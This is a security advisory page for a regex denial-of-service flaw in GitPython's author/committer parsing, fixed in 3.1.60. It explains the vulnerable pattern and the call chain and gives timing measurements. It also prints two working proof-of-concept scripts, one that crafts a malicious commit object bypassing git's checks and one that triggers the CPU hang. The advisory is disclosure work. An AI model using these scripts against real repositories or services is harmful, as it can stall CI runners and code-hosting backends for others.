gitpython
Affected
- introduced
0, fixed3.1.60(ecosystem)
Fixed versions
3.1.60
Fix
- Fixed version
3.1.60pip install --upgrade gitpython==3.1.60
Advisory
Also known as: CVE-2026-87819, PYSEC-2026-3984
GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing
Summary
GitPython's Actor.name_email_regex regular expression (git/util.py, line 863)
is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of
Service). When GitPython parses the author or committer header of a git commit
object that contains a long string with an unterminated < (no matching >), the
Python regex engine enters quadratic backtracking, causing complete single-threaded
CPU exhaustion proportional to the square of the input length.
A single crafted commit object can block any GitPython API call that reads.author or .committer for over two minutes per invocation, enabling denial
of service against CI runners, code-hosting backends, repository-scanning
pipelines, or any service that processes commits from third-party or untrusted
repositories.
---
Details
Vulnerable file and line:
git/util.py, line 863:
name_email_regex = re.compile(r"(.*) <(.*?)>")
This regex is evaluated inside Actor._from_string() (line 909) every time
GitPython resolves a commit's .author or .committer property.
Full call chain — from public API to vulnerable sink:
commit.author # any ordinary GitPython API call
└── git/objects/commit.py:917
Commit._deserialize()
└── git/objects/util.py:341
parse_actor_and_date(author_line)
└── git/util.py:909
Actor._from_string(string)
└── Actor.name_email_regex.search(string) ← VULNERABLE
author_line is decoded directly from the raw bytes of the git commit object with
no length limit, character restriction, or timeout applied at any point before
reaching the regex engine. The same chain is triggered by:
commit.authorcommit.committerrepo.iter_commits()repo.blame()Why this pattern backtracks catastrophically:
The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by
a literal space and <. When the input is a long string that contains < but no
closing >, the regex engine must try every possible split position for the greedy
group — O(n²) candidate positions for a string of length n — each of which then
drives the inner lazy group into further sub-match attempts. This is the
well-documented "catastrophic backtracking" failure mode for this family of
patterns.
Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):
| Author field length (bytes) | Time to resolve .author |
|-----------------------------|--------------------------|
| 1,000 | 0.0035 s |
| 5,000 | 0.084 s |
| 10,000 | 0.341 s |
| 20,000 | 1.525 s |
| 40,000 | 5.963 s |
| 60,000 | 13.360 s |
| 80,000 | 23.871 s |
| 200,000 | 150.488 s |
Each doubling of input size roughly quadruples processing time (e.g. 40,000 →
80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself
imposes no practical size limit on author name fields in the object format.
How the malicious object reaches a victim:
The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git
loose object written directly into .git/objects/. git cat-file -t <sha> confirms
it is a valid commit type and git's own read-side tools display it without error.
Only git's write-side tooling (git commit --author, git update-index,
explicit git fsck) applies the sanity checks that would reject a malformed author
line. Delivery paths that bypass those checks include:
receive.fsckObjects = false (common in self-hosted deployments).git directory shipped as a tarball, backup, or zip archive---
PoC
Environment used for testing:
Script 1 — craft the malicious repository (`craft_malicious_repo.py`):
#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.
Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib
def run(cmd, cwd):
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
sys.exit(1)
target_dir, payload_size = sys.argv[1], int(sys.argv[2])
os.makedirs(target_dir, exist_ok=True)
run(["git", "init", "--quiet"], cwd=target_dir)
run(["git", "config", "user.email", "[email protected]"], cwd=target_dir)
run(["git", "config", "user.name", "PoC"], cwd=target_dir)
with open(os.path.join(target_dir, "README.txt"), "w") as f:
f.write("GitPython ReDoS PoC repository\n")
run(["git", "add", "README.txt"], cwd=target_dir)
tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()
malicious_name = "A" * payload_size
# Key: author field contains a '<' with no closing '>'
author_line = f"author {malicious_name} <unterminated 1691999972 -0700"
committer_line = "committer PoC <[email protected]> 1691999972 -0700"
message = "ReDoS PoC commit"
commit_content = (
f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
).encode()
header = f"commit {len(commit_content)}\x00".encode()
store = header + commit_content
sha = hashlib.sha1(store).hexdigest()
compressed = zlib.compress(store)
objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
os.makedirs(objdir, exist_ok=True)
with open(os.path.join(objdir, sha[2:]), "wb") as f:
f.write(compressed)
run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)
print(f"Malicious commit sha : {sha}")
print(f"Payload size : {payload_size} bytes")
verify = subprocess.run(
["git", "cat-file", "-t", sha],
cwd=target_dir, capture_output=True, text=True
)
print(f"git cat-file -t confirms: {verify.stdout.strip()}")
if __name__ == "__main__":
main()
Script 2 — trigger the vulnerability (`trigger_redos.py`):
#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().
Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
sys.exit(1)
repo = git.Repo(sys.argv[1])
commit = repo.commit(sys.argv[2])
print("Accessing commit.author — triggers Actor._from_string()...")
t0 = time.time()
author = commit.author # ← this single line causes the hang
elapsed = time.time() - t0
print(f"Author name length : {len(author.name)} chars")
print(f"Elapsed : {elapsed:.3f} seconds")
print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")
if __name__ == "__main__":
main()
Execution and observed output:
High Basis: The source's own band: HIGH
0, fixed 3.1.60 (ecosystem)3.1.60
3.1.60pip install --upgrade gitpython==3.1.60Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0